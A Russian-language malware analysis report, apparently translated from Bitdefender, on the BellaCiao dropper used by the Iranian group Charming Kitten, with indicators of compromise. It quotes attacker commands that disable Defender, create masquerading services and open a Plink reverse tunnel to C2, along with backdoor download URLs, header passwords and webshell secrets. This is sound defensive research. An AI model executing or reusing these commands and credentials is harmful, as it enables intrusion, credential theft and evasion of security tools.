В связи с недавними сообщениями о том, что группа Charming Kitten (она же Mint Sandstorm) активно атакует объекты критической инфраструктуры в США и других странах, Bitdefender хотели бы поделиться последними сведениями от Bitdefender Labs о модернизации тактики, методов и процедур Charming Kitten, включая новую, ранее невиданную вредоносную программу. Эта вредоносная программа подстраивается под конкретные цели и демонстрирует более высокий уровень сложности, о чем свидетельствует уникальный подход к коммуникации с командно-контрольной (C2) инфраструктурой.
Название, используемое разработчиками вредоносной программы, - BellaCiao, отсылка к итальянской народной песне о борьбе за сопротивление. Bitdefender выявили множество жертв в США и Европе, а также на Ближнем Востоке (Турция) и в Индии.
Charming Kitten APT
Charming Kitten (также известный как APT35/APT42, Mint Sandstorm/PHOSPHORUS, ITG18, UNC788, Yellow Garuda или TA453) - иранская государственная APT-группа, связанная с Корпусом стражей исламской революции (КСИР).
Charming Kitten находится в поле зрения сообщества специалистов по информационной безопасности с 2014 года и печально известна своими атаками на политических диссидентов, активистов, журналистов и лиц, протестующих против деспотических режимов. Хотя для достижения своих целей эта группа в основном использовала социальную инженерию и spear phishing, она была известна использованием сложных методов, включая выдачу себя за известных исследователей или активистов.
В своей речи 17 марта 2021 года Эбрахим Раиси (в то время главный судья Ирана) заявил: "Корпус стражей исламской революции преуспел во всех областях, в которые он вошел как на международном, так и на внутреннем уровне, включая безопасность, оборону, предоставление услуг и строительство". В августе 2021 года Раиси сменил более умеренного кандидата Хасана Роухани на посту президента Ирана. Уже через месяц после его инаугурации кибератаки, приписываемые субъектам угроз КСИР, начали увеличиваться по масштабу, размаху и изощренности.
После смены власти в 2021 году КСИР и связанные с ним APT-группы приняли более агрессивный и конфронтационный подход и продемонстрировали готовность использовать силу для достижения своих целей. В этот переходный период "Очаровательный котенок" (и другие связанные с ним группы) стали более искусными в быстром оснащении оружием публично раскрытых PoC. Хотя на использование Log4Shell в 2022 году им потребовалось несколько недель, первые попытки использовать CVE-2022-47966 в Zoho ManageEngine были выявлены в тот же день, когда был обнародован PoC.
Быстрое использование публично раскрытых PoC - это "новая" формула победы как для финансово мотивированных, так и для спонсируемых государством субъектов угроз:
- Угрожающие субъекты выявляют уязвимость удаленного выполнения кода (RCE) (желательно с публичным примером PoC), которая затрагивает как можно больше компаний. В качестве примера можно привести Apache, Microsoft Exchange, VMware ESXi или последнюю уязвимость в MSMQ. Из-за огромного масштаба глобальных развертываний, даже если большинство компаний немедленно устанавливают заплатки, десятки тысяч уязвимых серверов остаются доступными даже спустя годы после выхода патча.
- С помощью автоматических сканеров обнаруживаются уязвимые системы и автоматически взламываются (тактика spray-and-pray).
- Вредоносная полезная нагрузка (обычно веб-оболочка для удаленного администрирования) устанавливается на взломанный сервер.
- За первоначальным (оппортунистическим и полностью автоматизированным) компрометированием следует этап ручной сортировки для определения наилучшего подхода к извлечению выгоды из атаки.
Как финансово мотивированные, так и спонсируемые государством группы продолжают внедрять инновации и совершенствовать этот подход. В нашем исследовании 80% респондентов из США (54% в мире) назвали уязвимости программного обеспечения в 2023 году своей основной проблемой, опередив как ransomware, так и фишинговые атаки.
Одним из важнейших аспектов этого нового метода атаки является то, что между автоматизированной и ручной фазами может быть значительный разрыв во времени. Например, при использовании брокеров первоначального доступа взломанный сервер с веб-оболочкой может оставаться бездействующим до тех пор, пока не найдется заинтересованный покупатель и сделка не будет завершена. В противном случае угрожающие субъекты могут взломать больше серверов, чем они могут обработать, создавая резерв взломанных сетей.
Угрожающие субъекты с низким уровнем сложности могут использовать отсутствие в зараженных сетях передовых средств обнаружения, таких как EDR, XDR или MDR, что делает эту тактику весьма эффективной до тех пор, пока такие средства не получат более широкое распространение. Более изощренные субъекты угроз, включая Charming Kitten, пытаются опередить защитников, используя специальные инструменты для обхода обнаружения. Вредоносные программы, разработанные на заказ, также известные как "специализированные", обычно сложнее обнаружить, поскольку они специально созданы для обхода обнаружения и содержат уникальный код.
Недавно Microsoft задокументировала два пользовательских импланта от Charming Kitten под названиями Drokbk и Soldier, а Google ранее обнаружил пользовательский инструмент извлечения данных под названием HYPERSCRAPE.
BellaCiao - поистине персонализированная дроппер
В ходе расследования Bitdefender обнаружили множество образцов BellaCiao. Каждый собранный образец был привязан к определенной жертве и содержал жестко закодированную информацию, такую как название компании, специально созданные поддомены или связанный публичный IP-адрес.
Все собранные нами образцы содержали пути .pdb. PDB (Program DataBase) - это формат файла, используемый Microsoft Visual Studio для хранения отладочной информации об исполняемом или DLL-файле. Bitdefender использовали его для извлечения информации о сборке проекта, включая имя проекта и путь, который был настроен в Visual Studio.
1 | Z:\BellaCiao\BellaCiao\More Targets\<Country>\<Public IP>\<Hostname>\backdoor\MicrosoftAgentServices\MicrosoftAgentServices\obj\Release\ |
Используя информацию из этих файлов, мы можем узнать, что жертвы были организованы в различные папки по странам, используя такие имена папок, как IL(Израиль), TR(Турция), AT(Австрия), IN(Индия) или IT(Италия). Оригинальный разработчик назвал этот проект BellaCiao, что является отсылкой к итальянской народной песне, которая является гимном сопротивления и свободы. Возможно, что использование названия "BellaCiao" иранскими хакерами может быть символической ссылкой на их предполагаемую борьбу с миром, но это умозрительно, и нет никаких конкретных доказательств в поддержку этой теории. В конечном итоге, истинные причины выбора этого названия могут быть известны только лицам или группам, ответственным за вредоносное ПО. Информация о <Public IP> и <Hostname> важна для связи с инфраструктурой C2.
Первоначальное заражение
Точный вектор начального заражения неизвестен, но предположительно, это может быть цепочка эксплойтов Microsoft Exchange (например, ProxyShell/ProxyNotShell/OWASSRF) или аналогичную программную уязвимость. Основной целью были серверы Microsoft Exchange.
После развертывания BellaCiao немедленно пытается отключить Microsoft Defender с помощью следующей команды PowerShell:
1 | powershell.exe -exec bypass -c Set-MpPreference -DisableRealtimeMonitoring $true |
Постоянство
Для установления постоянства создается новый экземпляр службы. Легитимные имена процессов, характерные для сервера Microsoft Exchange, были использованы для маскировки - распространенная техника, известная как маскировка.
1 2 | sc create "Microsoft Exchange Services Health" binpath= "C:\\ProgramData\\Microsoft\\\DRMS\\\Microsoft Exchange Services Health.exe" start= auto sc start "Microsoft Exchange Services Health" |
1 2 | sc create "Exchange Agent Diagnostic Services" binpath="C:\\\ProgramData\\\Microsoft\\\Diagnostic\\\Exchange Agent Diagnostic Services.exe" start= auto sc start "Microsoft Exchange Services Health" |
Угрожающие лица также пытались загрузить два бэкдора IIS с http://188.165.174[.]199:18080.
- Первый из них представлял собой сборку IIS-Raid, собственного модуля IIS (MD5:5a487c41efa2f3055d641591d601977c), загруженного с http://188.165.174[.]199:18080/index.aspx. Этот модуль обрабатывает каждый запрос IIS, ища заранее определенные заголовки с паролем и командой для выполнения. Если требуемый заголовок отсутствует (или пароли не совпадают), запрос будет обработан IIS без указания на наличие бэкдора. Заголовок X-Beserver-Verify используется для пароля, а заголовок X-Forward-Verify включает команду для выполнения. Ожидаемый пароль - [email protected]@123!
- Второй бэкдор представлял собой модуль .NET IIS для эксфильтрации учетных данных (MD5: 95c6fdc4f537bccca3079d94e65bc0b0), загруженный с http://188.165.174[.]199:18080/favico.ico. Этот модуль похож на первый, с заголовками X-Verify-Request (пароль, ожидаемое значение 01odm$kfnPAnjf) и X-Beserver-Pd (команда на выполнение). Кроме того, он ищет HTTP-запросы, содержащие ключевые слова "pass", "pwd", "password" или "login". Любой HTTP-запрос, содержащий одно из этих слов, добавляется в файл %LocalAppData%\193d910f01-0293e1a6-591d103f.dat, готовый к эксфильтрации учетных данных.
Исполнение
Исполняемый файл BellaCiao записывается в одно из следующих мест:
- C:\ProgramData\Microsoft\DRMS\Microsoft Exchange Services Health.exe
- C:\ProgramData\Microsoft\Diagnostic\Exchange Agent Diagnostic Services.exe
- C:\Users\Public\Microsoft\Diagnostic\Microsoft Services Diagnostics Logs.exe
Эти исполняемые файлы запускаются как служба (например, "Microsoft Exchange Services Health"). BellaCiao является вредоносной программой-дроппером - она предназначена для доставки других полезных нагрузок вредоносного ПО в компьютерную систему жертвы на основе инструкций с сервера C2. Полезная нагрузка, доставляемая BellaCiao, не загружается, а жестко закодирована в исполняемом файле в виде деформированных строк base64 и выгружается по запросу.
Для получения инструкций от C2-сервера BellaCiao использует уникальный подход разрешения доменных имен и разбора возвращаемого IP-адреса.
DNS-запрос выполняется каждые 24 часа для разрешения поддомена (жестко закодированной строки, уникальной для каждой жертвы) по следующей схеме:
<2 случайные заглавные буквы><3 случайные строчные буквы><поддомен конкретной жертвы>.<C2 домен>.
Исполняемый код BellaCiao сравнивает разрешенный IP-адрес, возвращенный DNS-сервером, находящимся под контролем угрожающего субъекта, с IP-адресом, который был жестко закодирован в программе. Разрешенный IP-адрес похож на реальный публичный IP-адрес, но с небольшими изменениями, которые позволяют BellaCiao получать дальнейшие инструкции. Важно отметить, что BellaCiao оперирует только двумя фиксированными значениями - жестко закодированной строкой IP-адреса ("локальный" IP, для примера будем использовать L1.L2.L3.L4) и IP-адресом, возвращаемым DNS-сервером, контролируемым агентом угрозы ("удаленный" IP - R1.R2.R3.R4). Код не содержит фактического IP-адреса; скорее, он имитирует его формат, чтобы создать впечатление, что DNS-запросы действительны.
При сравнении этих двух IP-адресов существует три возможных сценария, в зависимости от последнего октета IP-адреса:
- L1.L2.L3.L4 == R1.R2.R3.(R4 - 1) - удаление всех артефактов веб-шелла (сброшенные ресурсы и запущенные процессы).
- L4 == R4 - Инструкции по развертыванию веб-оболочки
- L4 != R4 - Ничего не делать
После получения инструкций по развертыванию webshell (локальный IP равен разрешенному IP), другие октеты (сегменты IP-адреса) анализируются для определения папки и имени файла для использования.
Ниже приведен список октетов и то, на какой аспект развертывания webshell они влияют:
- R4 (как показано выше) - операция, которую нужно выполнить (пропустить, отбросить или исчезнуть).
- R3 - папка, в которую следует развернуть webshell
- R2 - вложенная папка, также зависит от значения R3
- R1 - имя файла, также зависит от значения R2
Если в качестве примера использовать адрес публичного DNS-сервера Google (8.8.8.8), то вот несколько сценариев развертывания (в зависимости от разрешенного IP-адреса):
- 8.8.8.8 - C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\resources\owafont.aspx
- 8.8.7.8 - c:\\\inetpub\\wwwroot\\aspnet_client\aspnet.aspx
- 8.10.8.8 - C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\logont.aspx
- 7.9.6.8 - c:\\inetpub\\wwwroot\\aspnet_client\system_web\<random>.aspx
Выброшенная веб-оболочка .aspx поддерживает 3 операции:
- Загрузить
- Загрузить
- Выполнение команды
Строка User-Agent должна начинаться с секретного кода (ruby@123!), чтобы убедиться, что запрос исходит от субъектов угрозы, а затем следует запрашиваемая операция.
Bitdefender также проанализировали второй вариант BellaCiao, который содержит другую полезную нагрузку. Этот второй вариант сбрасывает инструмент Plink и скрипт PowerShell в жестко закодированные места. Сценарии PowerShell выполняют инструмент Plink для установления обратного прокси-соединения с C2 для обеспечения взаимодействия с веб-сервером PowerShell:
1 | <Plink> <домен С2> -P 443 -C -R 127.0.0.1:49700:127.0.0.1:49700 -l <Пользователь> -pw <Пароль>"; |
Веб-сервер PowerShell реализует следующие операции:
- Выполнение команды
- Выполнение сценария
- Загрузить файл
- Загрузка веб-журналов
- Сообщить время запуска веб-сервера
- Сообщить текущее время
- Звуковой сигнал
- Остановить веб-сервер
Indicators of Compromise
IPv4
- 88.80.148.162
Domains
- maill-support.com
- mailupdate.com
- mailupdate.info
- mail-updateservice.info
- msn-service.co
- twittsupport.com
MD5
- 284cdf5d2b29369f0b35f3ceb363a3d1
- 2daa29f965f661405e13b2a10d859b87
- 3fbea74b92f41809f46145f480782ef9
- 4812449f7fad62162ba8c4179d5d45d7
- 7df50cb7d4620621c2246535dd3ef10c
- c450477ed9c347c4c3d7474e1f069f14
- c6f394847eb3dc2587dc0c0130249337
- e7149c402a37719168fb739c62f25585
- f56a6da833289f821dd63f902a360c31